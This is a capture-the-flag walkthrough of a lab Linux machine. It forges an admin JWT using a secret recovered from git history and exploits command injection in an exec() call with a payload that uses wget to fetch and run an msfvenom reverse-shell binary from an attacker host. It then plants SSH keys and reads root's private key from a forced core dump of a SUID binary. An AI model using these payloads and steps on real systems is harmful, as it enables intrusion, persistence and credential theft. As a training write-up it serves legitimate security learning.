Enumeration

Initial nmap port scan.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

gobuster gobusted

The web page on port 80 shows us the documentation for an API running on port 3000. If we navigate to the home page and scroll to the bottom there is an area where you can download the source code. dumbdocs

Lets begin by enumerating the API.

API Enumeration

  1. Register a user
POST /api/user/register HTTP/1.1
Host: 10.129.253.55:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 224

{
  "name": "0xbruno",
  "email": "bruno@dasith.works",
  "password": "0xbruno0xbruno"
}                                                                                                                    
  1. Login as the user
POST /api/user/login HTTP/1.1
Host: 10.129.253.55:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 204

{
  "email": "bruno@dasith.works",
  "password": "0xbruno0xbruno"
}

This request will return a JWT which will be needed for subsequent requests as an auth-token header.

  1. Test token on GET /api/priv which returns that we do not have access.
GET /api/priv HTTP/1.1
Host: 10.129.253.55:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjM2NTY3MDg1fQ.I7X7dWltRdW3-51MLQGgEsBbjn0AqrIskYn6IHU7ztw
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Without admin access there is not much we can do so lets review the source code.

Source Code Review

You can download the source code at /download/files.zip

Candidate Points:

  • local-web/routes/private.js the route for /priv is checking that the name field in the JWT is == ’theadmin'
  • .env file we can see that the TOKEN_SECRET is equal to “secret” which is most likely just a placeholder.

In order to successfully modify the JWT token we will need to know the secret that the token was encrypted with. Since we have access to the source code we can view the git log and see if the secret was commited to source control at some point.

git log :

gitlog

View the changes on the first commit git diff 55fe756a29268f9b4e786ae468952ca4a8df1bd8: gitdiff

BOOM!

Now if we have a valid JWT we can re-sign(?), not sure the proper terminology here, with the secret and change the name to “theadmin”.

Command Injection Vulnerability

We can see that the GET parameter file is being passed to exec() which means that there is a command injection vulnerability here.

cmd injection


Exploitation

Resend the login request to get a fresh JWT.

gobusted

Copy the JWT and paste it into jwt.io. Copy the secret that was found in the git log into the verify signature area and modify the name to “theadmin” so that we can get access to the private routes. jwtio

If you do not see “Signature Verified” then something is wrong. Try to re-copy and paste the secret into the field.

Copy the forged JWT and add it as an “auth-token” request header.

You can test if you have admin access on /api/priv

apipriv

BOOM! Admin Access!

Now lets test the command injection vulnerability found in code review earlier by pinging our attacker machine. ping

sweet sweet RCE

Getting a reverse shell

  1. Check if the OS is 64 bit or 32 bit with uname -a

oscheck We see that it is 64 bit.

  1. Use msfvenom to create a payload

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.194 LPORT=3000 -f elf -o reverse.elf

  1. Serve the payload with HTTP server

python3 -m http.server 80

  1. Start a NC listener

nc -lvnp 3000

  1. Execute command in GET request to fetch and execute the payload

file=bogus;wget http://ATTACKER IP/reverse.elf -O /tmp/rev && chmod 777 /tmp/rev && /tmp/rev

revshell

You should get a connection back to your listener running as user dasith.

Lets set up an SSH key in case the reverse shell dies.

On the target machine:

  1. Generate SSH keys

ssh-keygen -t rsa Note: Hit enter for every prompt

  1. Add public key to authorized_keys

cat ./.ssh/id_rsa.pub >> authorized_keys

Now cat out ./.ssh/id_rsa (Private key) & copy it to the attacker machine.

On the attacker machine:

  1. Change the file permissions on the private key so that it is usable.

chmod 400 id_rsa

  1. SSH to the target

ssh -i id_rsa dasith@<IP>


Privilege Escalation

You can see an unusual SUID binary /opt/count count

The binary has SUID bit set by root and thus can read any file/directory on the target system.

There is also code.c file with C source code of what appears to be the count binary.

Compiling the binary and comparing the sha1sum hashes we can see that the count binary is in fact the code.c source code. hashes

Source Code Review

Viewing the source code you will find that coredump generation is enabled. This means that whatever is in memory will be dumped to a coredump file which we will be able to read. To trigger the core dump we will have to crash the program. source

Reading this article we can see that some Linux signals will cause a core dump. https://embeddedbits.org/linux-core-dump-analysis/

We will use SIGILL sigill

SIGILL is number 4 sigill number

Cat’ing out /proc/sys/kernel/core_pattern shows us how the coredump will be handled corepattern

After some googling you will find that apport saves kernel crash dumps to /var/crash. Note I said KERNEL CRASH DUMPS not core dumps which are different. Which means that the kernel crash dump will have to be unpacked to view the actual core dump.

Triggering the crash

Now that we have all the information available lets get to the actual exploitation. You will need two shells for this. I opted for setting up SSH keys and using my reverse shell from earlier.

  1. Run /opt/count and enter the target file which is root’s SSH private key. Don’t enter anything else. The idea is since the private SSH key is in memory we can trigger a core dump and then read the contents.
dasith@secret:/tmp$ /opt/count 
Enter source file/directory name: /root/.ssh/id_rsa

Total characters = 2602
Total words      = 45
Total lines      = 39
Save results a file? [y/N]: 
  1. In the second shell. Run ps aux and find the PID for count. Then send it the SIGILL signal with kill -4 <PID>.
dasith@secret:/tmp$ ps aux | grep count
root         829  0.0  0.1 235664  7388 ?        Ssl  Nov14   0:00 /usr/lib/accountsservice/accounts-daemon
dasith     66002  0.0  0.0   2488   580 pts/1    S+   00:47   0:00 /opt/count
dasith     66004  0.0  0.0   6632   732 pts/0    S+   00:48   0:00 grep --color=auto count
dasith@secret:/tmp$ kill -4 66002
dasith@secret:/tmp$ 
  1. You will find a new kernel crash dump file in /var/crash
dasith@secret:/var/crash$ ls
_opt_count.0.crash  _opt_count.1000.crash  _opt_countzz.0.crash
dasith@secret:/var/crash$ 
  1. Unpack the kernel crash dump to view the coredump.
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/unpacked
dasith@secret:/var/crash$ 
  1. You will find the CoreDump file in /tmp/unpacked
dasith@secret:/tmp$ ls unpacked/
Architecture  Date           ExecutablePath       _LogindSession  ProcCmdline  ProcEnviron  ProcStatus  Uname
CoreDump      DistroRelease  ExecutableTimestamp  ProblemType     ProcCwd      ProcMaps     Signal      UserGroups
dasith@secret:/tmp$ 
  1. Run strings /tmp/unpacked/CoreDump to view root’s ssh private key strings

  2. Copy it over to your attacker machine, chmod 400 id_rsa, and ssh to the target ssh -i id_rsa root@secret

Proof

root